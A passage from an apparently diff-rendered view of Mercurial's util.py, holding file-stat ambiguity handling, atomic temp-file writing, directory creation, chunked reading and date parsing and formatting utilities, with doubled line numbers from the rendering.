1570 @classmethod
1559 def frompath(cls, path):
1571 def frompath(cls, path):
1560 try:
1572 try:
1561 stat = os.stat(path)
1573 stat = os.stat(path)
1562 except OSError as err:
1574 except OSError as err:
1563 if err.errno != errno.ENOENT:
1575 if err.errno != errno.ENOENT:
1564 raise
1576 raise
1565 stat = None
1577 stat = None
1566 return cls(stat)
1578 return cls(stat)
1567
1579
1568 @classmethod
1580 @classmethod
1569 def fromfp(cls, fp):
1581 def fromfp(cls, fp):
1570 stat = os.fstat(fp.fileno())
1582 stat = os.fstat(fp.fileno())
1571 return cls(stat)
1583 return cls(stat)
1572
1584
1573 __hash__ = object.__hash__
1585 __hash__ = object.__hash__
1574
1586
1575 def __eq__(self, old):
1587 def __eq__(self, old):
1576 try:
1588 try:
1577 # if ambiguity between stat of new and old file is
1589 # if ambiguity between stat of new and old file is
1578 # avoided, comparison of size, ctime and mtime is enough
1590 # avoided, comparison of size, ctime and mtime is enough
1579 # to exactly detect change of a file regardless of platform
1591 # to exactly detect change of a file regardless of platform
1580 return (self.stat.st_size == old.stat.st_size and
1592 return (self.stat.st_size == old.stat.st_size and
1581 self.stat.st_ctime == old.stat.st_ctime and
1593 self.stat.st_ctime == old.stat.st_ctime and
1582 self.stat.st_mtime == old.stat.st_mtime)
1594 self.stat.st_mtime == old.stat.st_mtime)
1583 except AttributeError:
1595 except AttributeError:
1584 pass
1596 pass
1585 try:
1597 try:
1586 return self.stat is None and old.stat is None
1598 return self.stat is None and old.stat is None
1587 except AttributeError:
1599 except AttributeError:
1588 return False
1600 return False
1589
1601
1590 def isambig(self, old):
1602 def isambig(self, old):
1591 """Examine whether new (= self) stat is ambiguous against old one
1603 """Examine whether new (= self) stat is ambiguous against old one
1592
1604
1593 "S[N]" below means stat of a file at N-th change:
1605 "S[N]" below means stat of a file at N-th change:
1594
1606
1595 - S[n-1].ctime < S[n].ctime: can detect change of a file
1607 - S[n-1].ctime < S[n].ctime: can detect change of a file
1596 - S[n-1].ctime == S[n].ctime
1608 - S[n-1].ctime == S[n].ctime
1597 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1609 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1598 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1610 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1599 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1611 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1600 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1612 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1601
1613
1602 Case (*2) above means that a file was changed twice or more at
1614 Case (*2) above means that a file was changed twice or more at
1603 same time in sec (= S[n-1].ctime), and comparison of timestamp
1615 same time in sec (= S[n-1].ctime), and comparison of timestamp
1604 is ambiguous.
1616 is ambiguous.
1605
1617
1606 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1618 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1607 timestamp is ambiguous".
1619 timestamp is ambiguous".
1608
1620
1609 But advancing mtime only in case (*2) doesn't work as
1621 But advancing mtime only in case (*2) doesn't work as
1610 expected, because naturally advanced S[n].mtime in case (*1)
1622 expected, because naturally advanced S[n].mtime in case (*1)
1611 might be equal to manually advanced S[n-1 or earlier].mtime.
1623 might be equal to manually advanced S[n-1 or earlier].mtime.
1612
1624
1613 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1625 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1614 treated as ambiguous regardless of mtime, to avoid overlooking
1626 treated as ambiguous regardless of mtime, to avoid overlooking
1615 by confliction between such mtime.
1627 by confliction between such mtime.
1616
1628
1617 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1629 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1618 S[n].mtime", even if size of a file isn't changed.
1630 S[n].mtime", even if size of a file isn't changed.
1619 """
1631 """
1620 try:
1632 try:
1621 return (self.stat.st_ctime == old.stat.st_ctime)
1633 return (self.stat.st_ctime == old.stat.st_ctime)
1622 except AttributeError:
1634 except AttributeError:
1623 return False
1635 return False
1624
1636
1625 def avoidambig(self, path, old):
1637 def avoidambig(self, path, old):
1626 """Change file stat of specified path to avoid ambiguity
1638 """Change file stat of specified path to avoid ambiguity
1627
1639
1628 'old' should be previous filestat of 'path'.
1640 'old' should be previous filestat of 'path'.
1629
1641
1630 This skips avoiding ambiguity, if a process doesn't have
1642 This skips avoiding ambiguity, if a process doesn't have
1631 appropriate privileges for 'path'. This returns False in this
1643 appropriate privileges for 'path'. This returns False in this
1632 case.
1644 case.
1633
1645
1634 Otherwise, this returns True, as "ambiguity is avoided".
1646 Otherwise, this returns True, as "ambiguity is avoided".
1635 """
1647 """
1636 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1648 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1637 try:
1649 try:
1638 os.utime(path, (advanced, advanced))
1650 os.utime(path, (advanced, advanced))
1639 except OSError as inst:
1651 except OSError as inst:
1640 if inst.errno == errno.EPERM:
1652 if inst.errno == errno.EPERM:
1641 # utime() on the file created by another user causes EPERM,
1653 # utime() on the file created by another user causes EPERM,
1642 # if a process doesn't have appropriate privileges
1654 # if a process doesn't have appropriate privileges
1643 return False
1655 return False
1644 raise
1656 raise
1645 return True
1657 return True
1646
1658
1647 def __ne__(self, other):
1659 def __ne__(self, other):
1648 return not self == other
1660 return not self == other
1649
1661
1650 class atomictempfile(object):
1662 class atomictempfile(object):
1651 '''writable file object that atomically updates a file
1663 '''writable file object that atomically updates a file
1652
1664
1653 All writes will go to a temporary copy of the original file. Call
1665 All writes will go to a temporary copy of the original file. Call
1654 close() when you are done writing, and atomictempfile will rename
1666 close() when you are done writing, and atomictempfile will rename
1655 the temporary copy to the original name, making the changes
1667 the temporary copy to the original name, making the changes
1656 visible. If the object is destroyed without being closed, all your
1668 visible. If the object is destroyed without being closed, all your
1657 writes are discarded.
1669 writes are discarded.
1658
1670
1659 checkambig argument of constructor is used with filestat, and is
1671 checkambig argument of constructor is used with filestat, and is
1660 useful only if target file is guarded by any lock (e.g. repo.lock
1672 useful only if target file is guarded by any lock (e.g. repo.lock
1661 or repo.wlock).
1673 or repo.wlock).
1662 '''
1674 '''
1663 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1675 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1664 self.__name = name # permanent name
1676 self.__name = name # permanent name
1665 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1677 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1666 createmode=createmode)
1678 createmode=createmode)
1667 self._fp = posixfile(self._tempname, mode)
1679 self._fp = posixfile(self._tempname, mode)
1668 self._checkambig = checkambig
1680 self._checkambig = checkambig
1669
1681
1670 # delegated methods
1682 # delegated methods
1671 self.read = self._fp.read
1683 self.read = self._fp.read
1672 self.write = self._fp.write
1684 self.write = self._fp.write
1673 self.seek = self._fp.seek
1685 self.seek = self._fp.seek
1674 self.tell = self._fp.tell
1686 self.tell = self._fp.tell
1675 self.fileno = self._fp.fileno
1687 self.fileno = self._fp.fileno
1676
1688
1677 def close(self):
1689 def close(self):
1678 if not self._fp.closed:
1690 if not self._fp.closed:
1679 self._fp.close()
1691 self._fp.close()
1680 filename = localpath(self.__name)
1692 filename = localpath(self.__name)
1681 oldstat = self._checkambig and filestat.frompath(filename)
1693 oldstat = self._checkambig and filestat.frompath(filename)
1682 if oldstat and oldstat.stat:
1694 if oldstat and oldstat.stat:
1683 rename(self._tempname, filename)
1695 rename(self._tempname, filename)
1684 newstat = filestat.frompath(filename)
1696 newstat = filestat.frompath(filename)
1685 if newstat.isambig(oldstat):
1697 if newstat.isambig(oldstat):
1686 # stat of changed file is ambiguous to original one
1698 # stat of changed file is ambiguous to original one
1687 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1699 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1688 os.utime(filename, (advanced, advanced))
1700 os.utime(filename, (advanced, advanced))
1689 else:
1701 else:
1690 rename(self._tempname, filename)
1702 rename(self._tempname, filename)
1691
1703
1692 def discard(self):
1704 def discard(self):
1693 if not self._fp.closed:
1705 if not self._fp.closed:
1694 try:
1706 try:
1695 os.unlink(self._tempname)
1707 os.unlink(self._tempname)
1696 except OSError:
1708 except OSError:
1697 pass
1709 pass
1698 self._fp.close()
1710 self._fp.close()
1699
1711
1700 def __del__(self):
1712 def __del__(self):
1701 if safehasattr(self, '_fp'): # constructor actually did something
1713 if safehasattr(self, '_fp'): # constructor actually did something
1702 self.discard()
1714 self.discard()
1703
1715
1704 def __enter__(self):
1716 def __enter__(self):
1705 return self
1717 return self
1706
1718
1707 def __exit__(self, exctype, excvalue, traceback):
1719 def __exit__(self, exctype, excvalue, traceback):
1708 if exctype is not None:
1720 if exctype is not None:
1709 self.discard()
1721 self.discard()
1710 else:
1722 else:
1711 self.close()
1723 self.close()
1712
1724
1713 def unlinkpath(f, ignoremissing=False):
1725 def unlinkpath(f, ignoremissing=False):
1714 """unlink and remove the directory if it is empty"""
1726 """unlink and remove the directory if it is empty"""
1715 if ignoremissing:
1727 if ignoremissing:
1716 tryunlink(f)
1728 tryunlink(f)
1717 else:
1729 else:
1718 unlink(f)
1730 unlink(f)
1719 # try removing directories that might now be empty
1731 # try removing directories that might now be empty
1720 try:
1732 try:
1721 removedirs(os.path.dirname(f))
1733 removedirs(os.path.dirname(f))
1722 except OSError:
1734 except OSError:
1723 pass
1735 pass
1724
1736
1725 def tryunlink(f):
1737 def tryunlink(f):
1726 """Attempt to remove a file, ignoring ENOENT errors."""
1738 """Attempt to remove a file, ignoring ENOENT errors."""
1727 try:
1739 try:
1728 unlink(f)
1740 unlink(f)
1729 except OSError as e:
1741 except OSError as e:
1730 if e.errno != errno.ENOENT:
1742 if e.errno != errno.ENOENT:
1731 raise
1743 raise
1732
1744
1733 def makedirs(name, mode=None, notindexed=False):
1745 def makedirs(name, mode=None, notindexed=False):
1734 """recursive directory creation with parent mode inheritance
1746 """recursive directory creation with parent mode inheritance
1735
1747
1736 Newly created directories are marked as "not to be indexed by
1748 Newly created directories are marked as "not to be indexed by
1737 the content indexing service", if ``notindexed`` is specified
1749 the content indexing service", if ``notindexed`` is specified
1738 for "write" mode access.
1750 for "write" mode access.
1739 """
1751 """
1740 try:
1752 try:
1741 makedir(name, notindexed)
1753 makedir(name, notindexed)
1742 except OSError as err:
1754 except OSError as err:
1743 if err.errno == errno.EEXIST:
1755 if err.errno == errno.EEXIST:
1744 return
1756 return
1745 if err.errno != errno.ENOENT or not name:
1757 if err.errno != errno.ENOENT or not name:
1746 raise
1758 raise
1747 parent = os.path.dirname(os.path.abspath(name))
1759 parent = os.path.dirname(os.path.abspath(name))
1748 if parent == name:
1760 if parent == name:
1749 raise
1761 raise
1750 makedirs(parent, mode, notindexed)
1762 makedirs(parent, mode, notindexed)
1751 try:
1763 try:
1752 makedir(name, notindexed)
1764 makedir(name, notindexed)
1753 except OSError as err:
1765 except OSError as err:
1754 # Catch EEXIST to handle races
1766 # Catch EEXIST to handle races
1755 if err.errno == errno.EEXIST:
1767 if err.errno == errno.EEXIST:
1756 return
1768 return
1757 raise
1769 raise
1758 if mode is not None:
1770 if mode is not None:
1759 os.chmod(name, mode)
1771 os.chmod(name, mode)
1760
1772
1761 def readfile(path):
1773 def readfile(path):
1762 with open(path, 'rb') as fp:
1774 with open(path, 'rb') as fp:
1763 return fp.read()
1775 return fp.read()
1764
1776
1765 def writefile(path, text):
1777 def writefile(path, text):
1766 with open(path, 'wb') as fp:
1778 with open(path, 'wb') as fp:
1767 fp.write(text)
1779 fp.write(text)
1768
1780
1769 def appendfile(path, text):
1781 def appendfile(path, text):
1770 with open(path, 'ab') as fp:
1782 with open(path, 'ab') as fp:
1771 fp.write(text)
1783 fp.write(text)
1772
1784
1773 class chunkbuffer(object):
1785 class chunkbuffer(object):
1774 """Allow arbitrary sized chunks of data to be efficiently read from an
1786 """Allow arbitrary sized chunks of data to be efficiently read from an
1775 iterator over chunks of arbitrary size."""
1787 iterator over chunks of arbitrary size."""
1776
1788
1777 def __init__(self, in_iter):
1789 def __init__(self, in_iter):
1778 """in_iter is the iterator that's iterating over the input chunks."""
1790 """in_iter is the iterator that's iterating over the input chunks."""
1779 def splitbig(chunks):
1791 def splitbig(chunks):
1780 for chunk in chunks:
1792 for chunk in chunks:
1781 if len(chunk) > 2**20:
1793 if len(chunk) > 2**20:
1782 pos = 0
1794 pos = 0
1783 while pos < len(chunk):
1795 while pos < len(chunk):
1784 end = pos + 2 ** 18
1796 end = pos + 2 ** 18
1785 yield chunk[pos:end]
1797 yield chunk[pos:end]
1786 pos = end
1798 pos = end
1787 else:
1799 else:
1788 yield chunk
1800 yield chunk
1789 self.iter = splitbig(in_iter)
1801 self.iter = splitbig(in_iter)
1790 self._queue = collections.deque()
1802 self._queue = collections.deque()
1791 self._chunkoffset = 0
1803 self._chunkoffset = 0
1792
1804
1793 def read(self, l=None):
1805 def read(self, l=None):
1794 """Read L bytes of data from the iterator of chunks of data.
1806 """Read L bytes of data from the iterator of chunks of data.
1795 Returns less than L bytes if the iterator runs dry.
1807 Returns less than L bytes if the iterator runs dry.
1796
1808
1797 If size parameter is omitted, read everything"""
1809 If size parameter is omitted, read everything"""
1798 if l is None:
1810 if l is None:
1799 return ''.join(self.iter)
1811 return ''.join(self.iter)
1800
1812
1801 left = l
1813 left = l
1802 buf = []
1814 buf = []
1803 queue = self._queue
1815 queue = self._queue
1804 while left > 0:
1816 while left > 0:
1805 # refill the queue
1817 # refill the queue
1806 if not queue:
1818 if not queue:
1807 target = 2**18
1819 target = 2**18
1808 for chunk in self.iter:
1820 for chunk in self.iter:
1809 queue.append(chunk)
1821 queue.append(chunk)
1810 target -= len(chunk)
1822 target -= len(chunk)
1811 if target <= 0:
1823 if target <= 0:
1812 break
1824 break
1813 if not queue:
1825 if not queue:
1814 break
1826 break
1815
1827
1816 # The easy way to do this would be to queue.popleft(), modify the
1828 # The easy way to do this would be to queue.popleft(), modify the
1817 # chunk (if necessary), then queue.appendleft(). However, for cases
1829 # chunk (if necessary), then queue.appendleft(). However, for cases
1818 # where we read partial chunk content, this incurs 2 dequeue
1830 # where we read partial chunk content, this incurs 2 dequeue
1819 # mutations and creates a new str for the remaining chunk in the
1831 # mutations and creates a new str for the remaining chunk in the
1820 # queue. Our code below avoids this overhead.
1832 # queue. Our code below avoids this overhead.
1821
1833
1822 chunk = queue[0]
1834 chunk = queue[0]
1823 chunkl = len(chunk)
1835 chunkl = len(chunk)
1824 offset = self._chunkoffset
1836 offset = self._chunkoffset
1825
1837
1826 # Use full chunk.
1838 # Use full chunk.
1827 if offset == 0 and left >= chunkl:
1839 if offset == 0 and left >= chunkl:
1828 left -= chunkl
1840 left -= chunkl
1829 queue.popleft()
1841 queue.popleft()
1830 buf.append(chunk)
1842 buf.append(chunk)
1831 # self._chunkoffset remains at 0.
1843 # self._chunkoffset remains at 0.
1832 continue
1844 continue
1833
1845
1834 chunkremaining = chunkl - offset
1846 chunkremaining = chunkl - offset
1835
1847
1836 # Use all of unconsumed part of chunk.
1848 # Use all of unconsumed part of chunk.
1837 if left >= chunkremaining:
1849 if left >= chunkremaining:
1838 left -= chunkremaining
1850 left -= chunkremaining
1839 queue.popleft()
1851 queue.popleft()
1840 # offset == 0 is enabled by block above, so this won't merely
1852 # offset == 0 is enabled by block above, so this won't merely
1841 # copy via ``chunk[0:]``.
1853 # copy via ``chunk[0:]``.
1842 buf.append(chunk[offset:])
1854 buf.append(chunk[offset:])
1843 self._chunkoffset = 0
1855 self._chunkoffset = 0
1844
1856
1845 # Partial chunk needed.
1857 # Partial chunk needed.
1846 else:
1858 else:
1847 buf.append(chunk[offset:offset + left])
1859 buf.append(chunk[offset:offset + left])
1848 self._chunkoffset += left
1860 self._chunkoffset += left
1849 left -= chunkremaining
1861 left -= chunkremaining
1850
1862
1851 return ''.join(buf)
1863 return ''.join(buf)
1852
1864
1853 def filechunkiter(f, size=131072, limit=None):
1865 def filechunkiter(f, size=131072, limit=None):
1854 """Create a generator that produces the data in the file size
1866 """Create a generator that produces the data in the file size
1855 (default 131072) bytes at a time, up to optional limit (default is
1867 (default 131072) bytes at a time, up to optional limit (default is
1856 to read all data). Chunks may be less than size bytes if the
1868 to read all data). Chunks may be less than size bytes if the
1857 chunk is the last chunk in the file, or the file is a socket or
1869 chunk is the last chunk in the file, or the file is a socket or
1858 some other type of file that sometimes reads less data than is
1870 some other type of file that sometimes reads less data than is
1859 requested."""
1871 requested."""
1860 assert size >= 0
1872 assert size >= 0
1861 assert limit is None or limit >= 0
1873 assert limit is None or limit >= 0
1862 while True:
1874 while True:
1863 if limit is None:
1875 if limit is None:
1864 nbytes = size
1876 nbytes = size
1865 else:
1877 else:
1866 nbytes = min(limit, size)
1878 nbytes = min(limit, size)
1867 s = nbytes and f.read(nbytes)
1879 s = nbytes and f.read(nbytes)
1868 if not s:
1880 if not s:
1869 break
1881 break
1870 if limit:
1882 if limit:
1871 limit -= len(s)
1883 limit -= len(s)
1872 yield s
1884 yield s
1873
1885
1874 def makedate(timestamp=None):
1886 def makedate(timestamp=None):
1875 '''Return a unix timestamp (or the current time) as a (unixtime,
1887 '''Return a unix timestamp (or the current time) as a (unixtime,
1876 offset) tuple based off the local timezone.'''
1888 offset) tuple based off the local timezone.'''
1877 if timestamp is None:
1889 if timestamp is None:
1878 timestamp = time.time()
1890 timestamp = time.time()
1879 if timestamp < 0:
1891 if timestamp < 0:
1880 hint = _("check your clock")
1892 hint = _("check your clock")
1881 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1893 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1882 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1894 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1883 datetime.datetime.fromtimestamp(timestamp))
1895 datetime.datetime.fromtimestamp(timestamp))
1884 tz = delta.days * 86400 + delta.seconds
1896 tz = delta.days * 86400 + delta.seconds
1885 return timestamp, tz
1897 return timestamp, tz
1886
1898
1887 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1899 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1888 """represent a (unixtime, offset) tuple as a localized time.
1900 """represent a (unixtime, offset) tuple as a localized time.
1889 unixtime is seconds since the epoch, and offset is the time zone's
1901 unixtime is seconds since the epoch, and offset is the time zone's
1890 number of seconds away from UTC.
1902 number of seconds away from UTC.
1891
1903
1892 >>> datestr((0, 0))
1904 >>> datestr((0, 0))
1893 'Thu Jan 01 00:00:00 1970 +0000'
1905 'Thu Jan 01 00:00:00 1970 +0000'
1894 >>> datestr((42, 0))
1906 >>> datestr((42, 0))
1895 'Thu Jan 01 00:00:42 1970 +0000'
1907 'Thu Jan 01 00:00:42 1970 +0000'
1896 >>> datestr((-42, 0))
1908 >>> datestr((-42, 0))
1897 'Wed Dec 31 23:59:18 1969 +0000'
1909 'Wed Dec 31 23:59:18 1969 +0000'
1898 >>> datestr((0x7fffffff, 0))
1910 >>> datestr((0x7fffffff, 0))
1899 'Tue Jan 19 03:14:07 2038 +0000'
1911 'Tue Jan 19 03:14:07 2038 +0000'
1900 >>> datestr((-0x80000000, 0))
1912 >>> datestr((-0x80000000, 0))
1901 'Fri Dec 13 20:45:52 1901 +0000'
1913 'Fri Dec 13 20:45:52 1901 +0000'
1902 """
1914 """
1903 t, tz = date or makedate()
1915 t, tz = date or makedate()
1904 if "%1" in format or "%2" in format or "%z" in format:
1916 if "%1" in format or "%2" in format or "%z" in format:
1905 sign = (tz > 0) and "-" or "+"
1917 sign = (tz > 0) and "-" or "+"
1906 minutes = abs(tz) // 60
1918 minutes = abs(tz) // 60
1907 q, r = divmod(minutes, 60)
1919 q, r = divmod(minutes, 60)
1908 format = format.replace("%z", "%1%2")
1920 format = format.replace("%z", "%1%2")
1909 format = format.replace("%1", "%c%02d" % (sign, q))
1921 format = format.replace("%1", "%c%02d" % (sign, q))
1910 format = format.replace("%2", "%02d" % r)
1922 format = format.replace("%2", "%02d" % r)
1911 d = t - tz
1923 d = t - tz
1912 if d > 0x7fffffff:
1924 if d > 0x7fffffff:
1913 d = 0x7fffffff
1925 d = 0x7fffffff
1914 elif d < -0x80000000:
1926 elif d < -0x80000000:
1915 d = -0x80000000
1927 d = -0x80000000
1916 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1928 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1917 # because they use the gmtime() system call which is buggy on Windows
1929 # because they use the gmtime() system call which is buggy on Windows
1918 # for negative values.
1930 # for negative values.
1919 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1931 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1920 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1932 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1921 return s
1933 return s
1922
1934
1923 def shortdate(date=None):
1935 def shortdate(date=None):
1924 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1936 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1925 return datestr(date, format='%Y-%m-%d')
1937 return datestr(date, format='%Y-%m-%d')
1926
1938
1927 def parsetimezone(s):
1939 def parsetimezone(s):
1928 """find a trailing timezone, if any, in string, and return a
1940 """find a trailing timezone, if any, in string, and return a
1929 (offset, remainder) pair"""
1941 (offset, remainder) pair"""
1930
1942
1931 if s.endswith("GMT") or s.endswith("UTC"):
1943 if s.endswith("GMT") or s.endswith("UTC"):
1932 return 0, s[:-3].rstrip()
1944 return 0, s[:-3].rstrip()
1933
1945
1934 # Unix-style timezones [+-]hhmm
1946 # Unix-style timezones [+-]hhmm
1935 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1947 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1936 sign = (s[-5] == "+") and 1 or -1
1948 sign = (s[-5] == "+") and 1 or -1
1937 hours = int(s[-4:-2])
1949 hours = int(s[-4:-2])
1938 minutes = int(s[-2:])
1950 minutes = int(s[-2:])
1939 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1951 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1940
1952
1941 # ISO8601 trailing Z
1953 # ISO8601 trailing Z
1942 if s.endswith("Z") and s[-2:-1].isdigit():
1954 if s.endswith("Z") and s[-2:-1].isdigit():
1943 return 0, s[:-1]
1955 return 0, s[:-1]
1944
1956
1945 # ISO8601-style [+-]hh:mm
1957 # ISO8601-style [+-]hh:mm
1946 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1958 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1947 s[-5:-3].isdigit() and s[-2:].isdigit()):
1959 s[-5:-3].isdigit() and s[-2:].isdigit()):
1948 sign = (s[-6] == "+") and 1 or -1
1960 sign = (s[-6] == "+") and 1 or -1
1949 hours = int(s[-5:-3])
1961 hours = int(s[-5:-3])
1950 minutes = int(s[-2:])
1962 minutes = int(s[-2:])
1951 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1963 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1952
1964
1953 return None, s
1965 return None, s
1954
1966
1955 def strdate(string, format, defaults=None):
1967 def strdate(string, format, defaults=None):
1956 """parse a localized time string and return a (unixtime, offset) tuple.
1968 """parse a localized time string and return a (unixtime, offset) tuple.
1957 if the string cannot be parsed, ValueError is raised."""
1969 if the string cannot be parsed, ValueError is raised."""
1958 if defaults is None:
1970 if defaults is None:
1959 defaults = {}
1971 defaults = {}
1960
1972
1961 # NOTE: unixtime = localunixtime + offset
1973 # NOTE: unixtime = localunixtime + offset
1962 offset, date = parsetimezone(string)
1974 offset, date = parsetimezone(string)
1963
1975
1964 # add missing elements from defaults
1976 # add missing elements from defaults
1965 usenow = False # default to using biased defaults
1977 usenow = False # default to using biased defaults
1966 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1978 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1967 part = pycompat.bytestr(part)
1979 part = pycompat.bytestr(part)
1968 found = [True for p in part if ("%"+p) in format]
1980 found = [True for p in part if ("%"+p) in format]
1969 if not found:
1981 if not found:
1970 date += "@" + defaults[part][usenow]
1982 date += "@" + defaults[part][usenow]
1971 format += "@%" + part[0]
1983 format += "@%" + part[0]
1972 else:
1984 else:
1973 # We've found a specific time element, less specific time
1985 # We've found a specific time element, less specific time
1974 # elements are relative to today
1986 # elements are relative to today
1975 usenow = True
1987 usenow = True
1976
1988
1977 timetuple = time.strptime(encoding.strfromlocal(date),
1989 timetuple = time.strptime(encoding.strfromlocal(date),
1978 encoding.strfromlocal(format))
1990 encoding.strfromlocal(format))
1979 localunixtime = int(calendar.timegm(timetuple))
1991 localunixtime = int(calendar.timegm(timetuple))
1980 if offset is None:
1992 if offset is None:
1981 # local timezone
1993 # local timezone
1982 unixtime = int(time.mktime(timetuple))
1994 unixtime = int(time.mktime(timetuple))
1983 offset = unixtime - localunixtime
1995 offset = unixtime - localunixtime
1984 else:
1996 else:
1985 unixtime = localunixtime + offset
1997 unixtime = localunixtime + offset
1986 return unixtime, offset
1998 return unixtime, offset
1987
1999
1988 def parsedate(date, formats=None, bias=None):
2000 def parsedate(date, formats=None, bias=None):
1989 """parse a localized date/time and return a (unixtime, offset) tuple.
2001 """parse a localized date/time and return a (unixtime, offset) tuple.
1990
2002
1991 The date may be a "unixtime offset" string or in one of the specified
2003 The date may be a "unixtime offset" string or in one of the specified
1992 formats. If the date already is a (unixtime, offset) tuple, it is returned.
2004 formats. If the date already is a (unixtime, offset) tuple, it is returned.
1993
2005
1994 >>> parsedate(' today ') == parsedate(\
2006 >>> parsedate(' today ') == parsedate(\
1995 datetime.date.today().strftime('%b %d'))
2007 datetime.date.today().strftime('%b %d'))
1996 True
2008 True
1997 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
2009 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
1998 datetime.timedelta(days=1)\
2010 datetime.timedelta(days=1)\
1999 ).strftime('%b %d'))
2011 ).strftime('%b %d'))
2000 True
2012 True
2001 >>> now, tz = makedate()
2013 >>> now, tz = makedate()
2002 >>> strnow, strtz = parsedate('now')
2014 >>> strnow, strtz = parsedate('now')
2003 >>> (strnow - now) < 1
2015 >>> (strnow - now) < 1
2004 True
2016 True
2005 >>> tz == strtz
2017 >>> tz == strtz
2006 True
2018 True
2007 """
2019 """
2008 if bias is None:
2020 if bias is None:
2009 bias = {}
2021 bias = {}
2010 if not date:
2022 if not date:
2011 return 0, 0
2023 return 0, 0
2012 if isinstance(date, tuple) and len(date) == 2:
2024 if isinstance(date, tuple) and len(date) == 2:
2013 return date
2025 return date
2014 if not formats:
2026 if not formats:
2015 formats = defaultdateformats
2027 formats = defaultdateformats
2016 date = date.strip()
2028 date = date.strip()
2017
2029
2018 if date == 'now' or date == _('now'):
2030 if date == 'now' or date == _('now'):
2019 return makedate()
2031 return makedate()
2020 if date == 'today' or date == _('today'):
2032 if date == 'today' or date == _('today'):
2021 date = datetime.date.today().strftime('%b %d')
2033 date = datetime.date.today().strftime('%b %d')
2022 elif date == 'yesterday' or date == _('yesterday'):
2034 elif date == 'yesterday' or date == _('yesterday'):
2023 date = (datetime.date.today() -
2035 date = (datetime.date.today() -
2024 datetime.timedelta(days=1)).strftime('%b %d')
2036 datetime.timedelta(days=1)).strftime('%b %d')
2025
2037
2026 try:
2038 try:
2027 when, offset = map(int, date.split(' '))
2039 when, offset = map(int, date.split(' '))
2028 except ValueError:
2040 except ValueError:
2029 # fill out defaults
2041 # fill out defaults
2030 now = makedate()
2042 now = makedate()
2031 defaults = {}
2043 defaults = {}
2032 for part in ("d", "mb", "yY", "HI", "M", "S"):
2044 for part in ("d", "mb", "yY", "HI", "M", "S"):
2033 # this piece is for rounding the specific end of unknowns
2045 # this piece is for rounding the specific end of unknowns
2034 b = bias.get(part)
2046 b = bias.get(part)
2035 if b is None:
2047 if b is None:
2036 if part[0:1] in "HMS":
2048 if part[0:1] in "HMS":
2037 b = "00"
2049 b = "00"
2038 else:
2050 else:
2039 b = "0"
2051 b = "0"
2040
2052
2041 # this piece is for matching the generic end to today's date
2053 # this piece is for matching the generic end to today's date
2042 n = datestr(now, "%" + part[0:1])
2054 n = datestr(now, "%" + part[0:1])
2043
2055
2044 defaults[part] = (b, n)
2056 defaults[part] = (b, n)
2045
2057
2046 for format in formats:
2058 for format in formats:
2047 try:
2059 try:
2048 when, offset = strdate(date, format, defaults)
2060 when, offset = strdate(date, format, defaults)
2049 except (ValueError, OverflowError):
2061 except (ValueError, OverflowError):
2050 pass
2062 pass
2051 else:
2063 else:
2052 break
2064 break
2053 else:
2065 else:
2054 raise error.ParseError(_('invalid date: %r') % date)
2066 raise error.ParseError(_('invalid date: %r') % date)
2055 # validate explicit (probably user-specified) date and
2067 # validate explicit (probably user-specified) date and
2056 # time zone offset. values must fit in signed 32 bits for
2068 # time zone offset. values must fit in signed 32 bits for
2057 # current 32-bit linux runtimes. timezones go from UTC-12
2069 # current 32-bit linux runtimes. timezones go from UTC-12
2058 # to UTC+14
2070 # to UTC+14
2059 if when < -0x80000000 or when > 0x7fffffff:
2071 if when < -0x80000000 or when > 0x7fffffff:
2060 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2072 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2061 if offset < -50400 or offset > 43200:
2073 if offset < -50400 or offset > 43200:
2062 raise error.ParseError(_('impossible time zone offset: %d') % offset)
